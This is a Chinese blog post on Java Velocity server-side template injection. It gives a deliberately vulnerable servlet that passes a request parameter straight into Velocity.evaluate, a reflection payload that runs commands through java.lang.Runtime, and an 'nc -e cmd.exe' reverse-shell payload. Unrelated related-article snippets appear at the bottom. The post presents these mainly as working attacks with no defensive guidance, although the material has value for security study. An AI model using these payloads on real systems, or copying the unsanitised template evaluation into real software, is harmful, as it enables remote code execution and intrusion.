首页 > 编程语言 >java基础漏洞学习----SSTI漏洞

java基础漏洞学习----SSTI漏洞

时间:2023-10-29 21:47:16浏览次数:34  
标签:java ---- 漏洞 import Velocity null servlet

java基础漏洞学习----SSTI漏洞

Velocity模板注入

Java中有以下这些常见的模板引擎:XMLTemplate,Velocity,CommonTemplate,FreeMarker,Smarty4j,TemplateEngine
其中Velocity在Java中使用较多
把以下内容用burpsuite的url编码

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")


主代码

package com.example.servletdemo;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.net.URLConnection;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

public class SSTI extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        response.setContentType("text/html;charset=UTF-8");

        try {

            String template = request.getParameter("template");
            Velocity.init();
            VelocityContext context = new VelocityContext();
            context.put("name","QCCP");
            context.put("level","code safe");
            StringWriter swOut = new StringWriter();
            Velocity.evaluate(context,swOut,"test",template);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

进行反弹shell操作

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("nc -e cmd.exe  127.0.0.1 6666")

标签:java,----,漏洞,import,Velocity,null,servlet
From: https://www.cnblogs.com/thebeastofwar/p/17767491.html

相关文章

  • Ubuntu Lamp环境
    安装更新Ubnutu服务器sudoaptupdatesudoaptupgrade安装ApacheWeb服务器sudoaptinstallapache2检查ApacheWeb状态sudosystemctlstatusapache2配置Apache环境设置防火墙设置[可选]查看可用应用程序配置文件sudoufwapplist列出配置文件及包含规则......
  • 线程安全,读-取 ,都加锁
    如果一个线程修改属性,而另一个线程读取相同的属性,那么在多线程环境中,为了确保数据的一致性,通常也需要使用锁来同步访问。即使一个线程只读取属性而不修改它,也不能保证在读取的同时,另一个线程进行修改操作。如果没有适当的同步机制,可能会导致读取到不一致或不完整的数据。以下是......
  • 获取摄像头名字和索引
    #pipinstallwmiimportwmidefget_camera_name():camera_names=[]wmi_obj=wmi.WMI()cameras=wmi_obj.Win32_PnPEntity()forcameraincameras:ifcamera.Nameand'camera'incamera.Name.lower():camera......
  • finalshell在sbt安装目录中使用下面命令创建一个Shell脚本文件,用于启动sbt:
    finalshell在sbt安装目录中使用下面命令创建一个Shell脚本文件,用于启动sbt:vim/usr/local/sbt/sbtlanguage-bash该脚本文件中的代码如下:#!/bin/bashSBT_OPTS="-Xms512M-Xmx1536M-Xss1M-XX:+CMSClassUnloadingEnabled-XX:MaxPermSize=256M"java$SBT_OPTS-jardirname$......
  • 重要数据类型
    重要数据类型列表数据类型在实际开发中,经常需要将一组(不只一个)数据存储起来,以便后边的代码使用。列表就是这样的一个数据结构。且列表是Python中最基本也是最常用的数据结构之一。什么是数据结构呢?有列表,,元组,字典,字符串等。通俗来讲,可以将数据结构当做是某种容器,该容器......
  • 二分算法习题汇总
    一、复制书稿题目描述现在要把\(m\)本有顺序的书分给\(k\)个人复制(抄写),每一个人的抄写速度都一样,一本书不允许给两个(或以上)的人抄写,分给每一个人的书,必须是连续的,比如不能把第一、第三、第四本书给同一个人抄写。现在请你设计一种方案,使得复制时间最短。复制时间为抄写页数......
  • 20231029
    20231029NOIP#27总结时间安排7:35~8:05看题,\(A\)一时不会,\(B\)想到了构造方式不确定对,\(C,D\)一档暴力。8:05~8:35写\(B\)构造,并且这个构造是对的。8:35~9:00写\(C\)的爆搜9:00~9:30写\(D\)的暴力9:30~10:00想到了\(A\)正解并写完。10:00~10:20写\(C\)......
  • Ubuntu 系统管理篇
    账户管理sudo //一般用户,有时需要用户自己的密码su//切换root用户权限,输入后需要rootpassword确认sudosu//临时申请root权限文件管理访问权限Linux文件访问权限Linux文件所属用户及用户组cd传送cd..///回到当前目......
  • 多线程读取多个摄像头并把画面显示到Tkinter 的 label上面
    importcv2importthreadingimporttkinterastkfromPILimportImage,ImageTkclassCameraThread(threading.Thread):def__init__(self,camera_index,label):threading.Thread.__init__(self)self.camera_index=camera_indexs......
  • PAT甲级:1174 Left-View of Binary Tree
     题目:1174Left-ViewofBinaryTree25分 题解:层次遍历输出每一行最左边的元素。(最开始以为输出部分节点的左子树...想不到思路)usingnamespacestd;#include<iostream>#include<vector>#include<map>#include<algorithm>#include<queue>#include<cmath>......